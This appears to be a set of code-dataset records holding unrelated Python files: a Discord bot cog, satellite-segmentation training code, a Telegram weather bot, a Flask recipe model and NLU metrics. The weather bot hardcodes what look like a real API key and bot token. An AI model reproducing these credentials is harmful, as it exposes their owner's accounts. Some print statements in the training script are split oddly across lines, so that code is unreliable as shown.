{ctx.author.mention}')\n\n @commands.command()\n async def joke(self, ctx: commands.Context):\n '''Tells you a joke'''\n async with ClientSession() as cs:\n async with cs.get('https://official-joke-api.appspot.com/jokes/random') as r:\n data = await r.json()\n if r.status != 200:\n await ctx.send(data['message'])\n \n await ctx.send(data['setup'])\n time.sleep(1)\n await ctx.send(data['punchline'])\n\n\ndef setup(bot):\n bot.add_cog(Misc(bot))\n", "sub_path": "cogs/misc.py", "file_name": "misc.py", "file_ext": "py", "file_size_in_byte": 1276, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 7, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 12, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 11, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 11, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 19, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 19, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 18, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 18, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 25, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 25, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 24, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "139191766", "text": "import pandas as pd\nimport os\nimport csv\nimport os\nfrom glob import glob\nfrom skimage.io import imread, imsave\nimport numpy as np\n\nfrom glob import glob\nimport os\n\npath_to_train = './data/train/'\nglob_train_imgs = os.path.join(path_to_train, '*_sat.jpg')\nglob_train_masks = os.path.join(path_to_train, '*_msk.png')\n\ntrain_img_paths = glob(glob_train_imgs)\ntrain_mask_paths = glob(glob_train_masks)\nprint(train_img_paths[:10])\nprint(train_mask_paths[:10])\n\nfrom skimage.io import imread\nfrom skimage.transform import resize\nfrom skimage.color import rgb2gray\n\n\ndef get_img_id(img_path):\n img_basename = os.path.basename(img_path)\n img_id = os.path.splitext(img_basename)[0][:-len('_sat')]\n return img_id\n\n\ndef img_gen(img_paths, img_size=(512, 512)):\n # Iterate over all image paths\n for img_path in img_paths:\n img_id = get_img_id(img_path)\n mask_path = os.path.join(path_to_train, img_id + '_msk.png')\n\n img = imread(img_path) / 255\n mask = rgb2gray(imread(mask_path))\n\n # img = resize(img, img_size, preserve_range = True)\n # mask = resize(mask, img_size, mode='constant', preserve_range = True)\n\n mask = (mask >= 0.5).astype(float)\n mask = np.reshape(mask, (512, 512, 1))\n yield img, mask\n\n\ndef get_non_outlier_data(train_img_paths):\n train_path_without_outlier = []\n for index, image_path in enumerate(train_img_paths):\n if index % 500 == 0:\n print(index)\n img_id = get_img_id(image_path)\n mask_path = os.path.join('./data/train/', img_id + '_msk.png')\n mask = rgb2gray(imread(mask_path))\n if len(np.where(mask.flatten() != 0)[0]) < 800:\n os.remove(path_to_train + img_id + '_sat.jpg')\n os.remove(path_to_train + img_id + '_msk.png')\n return train_path_without_outlier\n\n\n\"\"\"\nBased on https://github.com/asanakoy/kaggle_carvana_segmentation\n\"\"\"\nimport torch\nimport torch.utils.data as data\nfrom torch.autograd import Variable as V\n\nimport cv2\nimport numpy as np\nimport os\n\n\ndef randomHueSaturationValue(image, hue_shift_limit=(-180, 180),\n sat_shift_limit=(-255, 255),\n val_shift_limit=(-255, 255), u=0.5):\n if np.random.random() < u:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n h, s, v = cv2.split(image)\n hue_shift = np.random.randint(hue_shift_limit[0], hue_shift_limit[1] + 1)\n hue_shift = np.uint8(hue_shift)\n h += hue_shift\n sat_shift = np.random.uniform(sat_shift_limit[0], sat_shift_limit[1])\n s = cv2.add(s, sat_shift)\n val_shift = np.random.uniform(val_shift_limit[0], val_shift_limit[1])\n v = cv2.add(v, val_shift)\n image = cv2.merge((h, s, v))\n # image = cv2.merge((s, v))\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\n\n return image\n\n\ndef randomShiftScaleRotate(image, mask,\n shift_limit=(-0.0, 0.0),\n scale_limit=(-0.0, 0.0),\n rotate_limit=(-0.0, 0.0),\n aspect_limit=(-0.0, 0.0),\n borderMode=cv2.BORDER_CONSTANT, u=0.5):\n if np.random.random() < u:\n height, width, channel = image.shape\n\n angle = np.random.uniform(rotate_limit[0], rotate_limit[1])\n scale = np.random.uniform(1 + scale_limit[0], 1 + scale_limit[1])\n aspect = np.random.uniform(1 + aspect_limit[0], 1 + aspect_limit[1])\n sx = scale * aspect / (aspect ** 0.5)\n sy = scale / (aspect ** 0.5)\n dx = round(np.random.uniform(shift_limit[0], shift_limit[1]) * width)\n dy = round(np.random.uniform(shift_limit[0], shift_limit[1]) * height)\n\n cc = np.math.cos(angle / 180 * np.math.pi) * sx\n ss = np.math.sin(angle / 180 * np.math.pi) * sy\n rotate_matrix = np.array([[cc, -ss], [ss, cc]])\n\n box0 = np.array([[0, 0], [width, 0], [width, height], [0, height], ])\n box1 = box0 - np.array([width / 2, height / 2])\n box1 = np.dot(box1, rotate_matrix.T) + np.array([width / 2 + dx, height / 2 + dy])\n\n box0 = box0.astype(np.float32)\n box1 = box1.astype(np.float32)\n mat = cv2.getPerspectiveTransform(box0, box1)\n image = cv2.warpPerspective(image, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\n borderValue=(\n 0, 0,\n 0,))\n mask = cv2.warpPerspective(mask, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\n borderValue=(\n 0, 0,\n 0,))\n\n return image, mask\n\n\ndef randomHorizontalFlip(image, mask, u=0.5):\n if np.random.random() < u:\n image = cv2.flip(image, 1)\n mask = cv2.flip(mask, 1)\n\n return image, mask\n\n\ndef randomVerticleFlip(image, mask, u=0.5):\n if np.random.random() < u:\n image = cv2.flip(image, 0)\n mask = cv2.flip(mask, 0)\n\n return image, mask\n\n\ndef randomRotate90(image, mask, u=0.5):\n if np.random.random() < u:\n image = np.rot90(image)\n mask = np.rot90(mask)\n\n return image, mask\n\n\ndef default_loader(id, root):\n img = cv2.imread(os.path.join(root, '{}_sat.jpg').format(id))\n mask = cv2.imread(os.path.join(root + '{}_msk.png').format(id), cv2.IMREAD_GRAYSCALE)\n\n img = randomHueSaturationValue(img,\n hue_shift_limit=(-30, 30),\n sat_shift_limit=(-5, 5),\n val_shift_limit=(-15, 15))\n\n img, mask = randomShiftScaleRotate(img, mask,\n shift_limit=(-0.1, 0.1),\n scale_limit=(-0.1, 0.1),\n aspect_limit=(-0.1, 0.1),\n rotate_limit=(-0, 0))\n img, mask = randomHorizontalFlip(img, mask)\n img, mask = randomVerticleFlip(img, mask)\n img, mask = randomRotate90(img, mask)\n\n mask = np.expand_dims(mask, axis=2)\n\n img = np.array(img, np.float32).transpose(2, 0, 1) / 255.0 * 3.2 - 1.6\n mask = np.array(mask, np.float32).transpose(2, 0, 1) / 255.0\n mask[mask >= 0.5] = 1\n mask[mask <= 0.5] = 0\n # mask = abs(mask-1)\n return img, mask\n\n\nclass ImageFolder(data.Dataset):\n def __init__(self, trainlist, root):\n self.ids = trainlist\n self.loader = default_loader\n self.root = root\n\n def __getitem__(self, index):\n id = self.ids[index]\n img, mask = self.loader(id, self.root)\n img = torch.Tensor(img)\n mask = torch.Tensor(mask)\n\n return img, mask\n\n def __len__(self):\n return len(self.ids)\n\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable as V\n\nimport cv2\nimport numpy as np\n\n\nclass MyFrame():\n def __init__(self, net, loss, lr=2e-4, evalmode=False):\n self.net = net().cuda()\n self.net = torch.nn.DataParallel(self.net, device_ids=range(torch.cuda.device_count()))\n self.optimizer = torch.optim.Adam(params=self.net.parameters(), lr=lr)\n # self.optimizer = torch.optim.RMSprop(params=self.net.parameters(), lr=lr)\n self.loss = loss()\n self.old_lr = lr\n if evalmode:\n for i in self.net.modules():\n if isinstance(i, nn.BatchNorm2d):\n i.eval()\n\n def set_input(self, img_batch, mask_batch=None, img_id=None):\n self.img = img_batch\n self.mask = mask_batch\n self.img_id = img_id\n\n def test_one_img(self, img):\n pred = self.net.forward(img)\n\n pred[pred > 0.5] = 1\n pred[pred <= 0.5] = 0\n\n mask = pred.squeeze().cpu().data.numpy()\n return mask\n\n def test_batch(self):\n self.forward(volatile=True)\n mask = self.net.forward(self.img).cpu().data.numpy().squeeze(1)\n mask[mask > 0.5] = 1\n mask[mask <= 0.5] = 0\n\n return mask, self.img_id\n\n def test_one_img_from_path(self, path):\n img = cv2.imread(path)\n img = np.array(img, np.float32) / 255.0 * 3.2 - 1.6\n img = V(torch.Tensor(img).cuda())\n\n mask = self.net.forward(img).squeeze().cpu().data.numpy() # .squeeze(1)\n mask[mask > 0.5] = 1\n mask[mask <= 0.5] = 0\n\n return mask\n\n def forward(self, volatile=False):\n self.img = V(self.img.cuda(), volatile=volatile)\n if self.mask is not None:\n self.mask = V(self.mask.cuda(), volatile=volatile)\n\n def optimize(self):\n self.forward()\n self.optimizer.zero_grad()\n pred = self.net.forward(self.img)\n loss = self.loss(self.mask, pred)\n loss.backward()\n self.optimizer.step()\n return loss.data\n\n def save(self, path):\n torch.save(self.net.state_dict(), path)\n\n def load(self, path):\n self.net.load_state_dict(torch.load(path))\n\n def update_lr(self, new_lr, mylog, factor=False):\n if factor:\n new_lr = self.old_lr / new_lr\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = new_lr\n\n print >> mylog, 'update learning rate: %f -> %f' % (self.old_lr, new_lr)\n print\n 'update learning rate: %f -> %f' % (self.old_lr, new_lr)\n self.old_lr = new_lr\n\nimport torch\nimport torch.nn as nn\nimport torch.utils.data as data\nfrom torch.autograd import Variable as V\nfrom tqdm import tqdm\nimport cv2\nimport os\nimport numpy as np\n\nfrom time import time\n\nfrom networks.unet import Unet\nfrom networks.dunet import Dunet\nfrom networks.dinknet import LinkNet34, DinkNet34, DinkNet50, DinkNet101, DinkNet34_less_pool\nfrom loss import dice_bce_loss\n\nSHAPE = (512, 512)\nROOT = '../Satellite-Segmentation/data/train/'\nimagelist = filter(lambda x: x.find('sat') != -1, os.listdir(ROOT))\ntrainlist = map(lambda x: x[:-8], imagelist)\nNAME = 'log01_dink34'\nBATCHSIZE_PER_CARD = 4\n\nsolver = MyFrame(DinkNet34, dice_bce_loss, 2e-4)\nbatchsize = torch.cuda.device_count() * BATCHSIZE_PER_CARD\n\ndataset = ImageFolder(trainlist, ROOT)\ndata_loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=batchsize,\n shuffle=True,\n num_workers=4)\n\nmylog = open('logs/' + NAME + '.log', 'w')\ntic = time()\nno_optim = 0\ntotal_epoch = 300\ntrain_epoch_best_loss = 100.\nfor epoch in range(1, total_epoch + 1):\n data_loader_iter = iter(data_loader)\n train_epoch_loss = 0\n for img, mask in tqdm(data_loader_iter):\n solver.set_input(img, mask)\n train_loss = solver.optimize()\n train_epoch_loss += train_loss\n train_epoch_loss /= len(data_loader_iter)\n print >> mylog, '********'\n print >> mylog, 'epoch:', epoch, ' time:', int(time() - tic)\n print >> mylog, 'train_loss:', train_epoch_loss\n print >> mylog, 'SHAPE:', SHAPE\n print\n '********'\n print\n 'epoch:', epoch, ' time:', int(time() - tic)\n print\n 'train_loss:', train_epoch_loss\n print\n 'SHAPE:', SHAPE\n\n if train_epoch_loss >= train_epoch_best_loss:\n no_optim += 1\n else:\n no_optim = 0\n train_epoch_best_loss = train_epoch_loss\n solver.save('weights/' + NAME + '.th')\n if no_optim > 6:\n print >> mylog, 'early stop at %d epoch' % epoch\n print\n 'early stop at %d epoch' % epoch\n break\n if no_optim > 3:\n if solver.old_lr < 5e-7:\n break\n solver.load('weights/' + NAME + '.th')\n solver.update_lr(5.0, factor=True, mylog=mylog)\n mylog.flush()\n\nprint >> mylog, 'Finish!'\nprint\n'Finish!'\nmylog.close()", "sub_path": "nonblack_dlinknet.py", "file_name": "nonblack_dlinknet.py", "file_ext": "py", "file_size_in_byte": 11671, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 16, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 38, "usage_type": "call"}, {"api_name": "skimage.color.rgb2gray", "line_number": 39, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "skimage.color.rgb2gray", "line_number": 56, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 57, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 58, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.split", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.add", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 86, "usage_type": "attribute"}, {"api_name": "cv2.add", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.COLOR_HSV2BGR", "line_number": 90, "usage_type": "attribute"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.math.cos", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.math", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.math.sin", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.math", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 121, "usage_type": "attribute"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 122, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 123, "usage_type": "attribute"}, {"api_name": "cv2.warpPerspective", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 136, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 137, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 144, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 145, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 152, "usage_type": "attribute"}, {"api_name": "numpy.rot90", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 154, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 161, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 179, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 180, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 187, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 197, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 216, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 216, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 217, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 223, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 223, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 250, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 274, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 277, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 308, "usage_type": "call"}, {"api_name": "networks.dinknet.DinkNet34", "line_number": 313, "usage_type": "argument"}, {"api_name": "loss.dice_bce_loss", "line_number": 313, "usage_type": "argument"}, {"api_name": "torch.cuda.device_count", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 314, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 317, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 317, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 324, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 331, "usage_type": "call"}, {"api_name": "time.time", "line_number": 337, "usage_type": "call"}, {"api_name": "time.time", "line_number": 343, "usage_type": "call"}]} +{"seq_id": "19398788", "text": "import pyowm\r\nimport telebot\r\n\r\nowm = pyowm.OWM('395fbce7b7c07a57099c0373dcce224a', language = \"ru\")\r\nbot = telebot.TeleBot(\"809698395:AAEHtq531GIPStxTx06vYO_T7eSRyuINS6k\")\r\n\r\n@bot.message_handler(content_types=['text'])\r\ndef send_echo(message):\r\n\tobservation = owm.weather_at_place( 'Жулебино,ru' )\r\n\tw = observation.get_weather()\r\n\ttemp = w.get_temperature('celsius')[\"temp\"]\r\n\r\n\tanswer = \"В Жулебино - \" + str(int(temp)) + \" градусов. \" + w.get_detailed_status()\r\n\r\n\tbot.send_message(message.chat.id, answer)\r\n\r\nbot.polling()", "sub_path": "telegramweatherbot.py", "file_name": "telegramweatherbot.py", "file_ext": "py", "file_size_in_byte": 553, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pyowm.OWM", "line_number": 4, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "471292111", "text": "from application import db\nfrom application.models import Base\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.sql import text\n\n\nclass Resepti(Base):\n name = db.Column(db.String(144), nullable=False)\n cooktime = db.Column(db.Integer, nullable=False)\n account_id = db.Column(db.Integer, db.ForeignKey('account.id'), nullable=False)\n\n ohje_ref = db.relationship('Ohje', uselist=False, back_populates=\"resepti_ref\", cascade=\"all, delete-orphan\")\n\n ainesosa = db.relationship('Resepti_ainesosa', back_populates='resepti', cascade='all')\n\n def __init__(self, name, cooktime):\n self.name = name\n self.cooktime = cooktime\n\n @staticmethod\n def find_reseptit_with_arg_ainesosa(haettava):\n stmt = text(\"SELECT r.name, r.id FROM resepti r, ainesosa a, resepti_ainesosa i \"\n \"WHERE r.id = i.resepti_id AND a.id = i.ainesosa_id AND a.name = :haettava;\" ).params(haettava=haettava)\n\n res = db.engine.execute(stmt)\n response = []\n for row in res:\n response.append({\"name\":row[0], \"id\":row[1]})\n \n return response\n \n @staticmethod\n def find_resepti_ainesosa_count():\n stmt = text(\"SELECT resepti.name, COUNT(resepti_ainesosa.resepti_id) FROM resepti LEFT JOIN resepti_ainesosa ON resepti_ainesosa.resepti_id = resepti.id GROUP BY resepti.name;\")\n res = db.engine.execute(stmt)\n response = []\n for row in res:\n response.append({\"name\":row[0], \"amount\":row[1]})\n print(response)\n return response\n\n \n \n\n\n \n\n\n \n\n\n\n", "sub_path": "application/reseptit/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "application.models.Base", "line_number": 7, "usage_type": "name"}, {"api_name": "application.db.Column", "line_number": 8, "usage_type": "call"}, {"api_name": "application.db", "line_number": 8, "usage_type": "name"}, {"api_name": "application.db.String", "line_number": 8, "usage_type": "call"}, {"api_name": "application.db.Column", "line_number": 9, "usage_type": "call"}, {"api_name": "application.db", "line_number": 9, "usage_type": "name"}, {"api_name": "application.db.Integer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "application.db.Column", "line_number": 10, "usage_type": "call"}, {"api_name": "application.db", "line_number": 10, "usage_type": "name"}, {"api_name": "application.db.Integer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "application.db.ForeignKey", "line_number": 10, "usage_type": "call"}, {"api_name": "application.db.relationship", "line_number": 12, "usage_type": "call"}, {"api_name": "application.db", "line_number": 12, "usage_type": "name"}, {"api_name": "application.db.relationship", "line_number": 14, "usage_type": "call"}, {"api_name": "application.db", "line_number": 14, "usage_type": "name"}, {"api_name": "sqlalchemy.sql.text", "line_number": 22, "usage_type": "call"}, {"api_name": "application.db.engine.execute", "line_number": 25, "usage_type": "call"}, {"api_name": "application.db.engine", "line_number": 25, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.sql.text", "line_number": 34, "usage_type": "call"}, {"api_name": "application.db.engine.execute", "line_number": 35, "usage_type": "call"}, {"api_name": "application.db.engine", "line_number": 35, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 35, "usage_type": "name"}]} +{"seq_id": "270886253", "text": "# Custom Metrics for Joint NLU. \n# last edited: 10.2.2021\n# SP\n\n\nimport torch\nimport numpy as np\n\n# Dataloading and Batching classes\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data.dataloader import default_collate\n\n# Training classes\nfrom transformers import Trainer, TrainingArguments, DataCollatorForTokenClassification\n\n# Tokenizers and Models\nfrom transformers import (\n AutoConfig,\n AutoModel,\n AutoTokenizer,\n RobertaTokenizer,\n XLMRobertaTokenizer,\n)\n\n# joint XLM-R NL\nfrom joint_nlu_models import *\nfrom typing import Dict, NamedTuple, Optional\nfrom sklearn.metrics import classification_report, f1_score, accuracy_score\n\n\nfrom preprocessing.conll_loader import ConLLLoader, intent_labels_list, slot_labels_list\nfrom sklearn_crfsuite import metrics as seq_metrics\n\n\n# Obsolete. Now uses the recommended solution using list comprehensions.\n# def remove_padding(gold_slots, pred_slots):\n\n# zipped = zip(gold_slots, pred_slots)\n# sanitized_gold = []\n# sanitized_pred = []\n# for gold, pred in zipped:\n# if gold != -100:\n# sanitized_gold.append(gold)\n# sanitized_pred.append(pred)\n# return sanitized_gold, sanitized_pred\n\n\ndef show_align_labels(p,tokenized_utterances, intent_label_list, slot_label_list, ):\n intent_predictions, slot_predictions = p.predictions\n intent_labels, slot_labels = p.label_ids\n\n slot_predictions = np.argmax(slot_predictions, axis=2)\n intent_predictions = np.argmax(intent_predictions, axis=1)\n\n slot_predictions_clean = [\n [slot_label_list[p] for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n slot_labels_clean = [\n [slot_label_list[l] for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n\n for pred, gold, itent_pred, intent_gold, utter in zip(slot_predictions_clean, slot_labels_clean,intent_predictions, intent_predictions,tokenized_utterances):\n print()\n print(intent_label_list[itent_pred],\"\\t\",intent_label_list[intent_gold])\n\n for tok_pred, tok_gold,real_tok in zip(pred,gold,utter):\n print(real_tok,\"\\t\", tok_pred,\"\\t\", tok_gold)\n\ndef joint_classification_report(p, intent_label_list, slot_label_list, verbose=True):\n intent_predictions, slot_predictions = p.predictions\n intent_labels, slot_labels = p.label_ids\n\n slot_predictions = np.argmax(slot_predictions, axis=2)\n intent_predictions = np.argmax(intent_predictions, axis=1)\n\n slot_predictions_clean = [\n [p for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n slot_labels_clean = [\n [l for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n\n labels_slot = list(range(len(slot_label_list)))\n labels_intent = list(range(len(intent_label_list)))\n seq_acc = seq_metrics.sequence_accuracy_score(\n slot_labels_clean, slot_predictions_clean\n )\n\n if verbose:\n print(\n classification_report(\n intent_labels,\n intent_predictions,\n target_names=intent_label_list,\n labels=labels_intent,\n digits = 4,\n )\n )\n print(\n seq_metrics.flat_classification_report(\n slot_labels_clean,\n slot_predictions_clean,\n target_names=slot_label_list,\n labels=labels_slot,\n digits = 4,\n )\n )\n print(\"sequence accuracy: \", seq_acc)\n\n # In efficient\n # can be done in one run and pretty print output reconstructed from dictionary\n slot_res_dict = seq_metrics.flat_classification_report(\n slot_labels_clean,\n slot_predictions_clean,\n target_names=slot_label_list,\n labels=labels_slot,\n output_dict=True,\n digits = 5,\n )\n\n intent_res_dict = classification_report(\n intent_labels,\n intent_predictions,\n target_names=intent_label_list,\n labels=labels_intent,\n output_dict=True,\n digits = 5,\n )\n\n return {\n \"sequence_accuracy\": seq_acc,\n \"slot_results\": slot_res_dict,\n \"intent_results\": intent_res_dict,\n }\n\n\ndef exact_match(p):\n\n intent_predictions, slot_predictions = p.predictions\n intent_labels, slot_labels = p.label_ids\n\n intent_predictions = np.argmax(intent_predictions, axis=1)\n slot_predictions = np.argmax(slot_predictions, axis=2)\n\n intent_matches = (intent_labels == intent_predictions)\n\n slot_predictions_clean = [\n [p for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n slot_labels_clean = [\n [l for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n\n # for seq_lab, seq_pred in 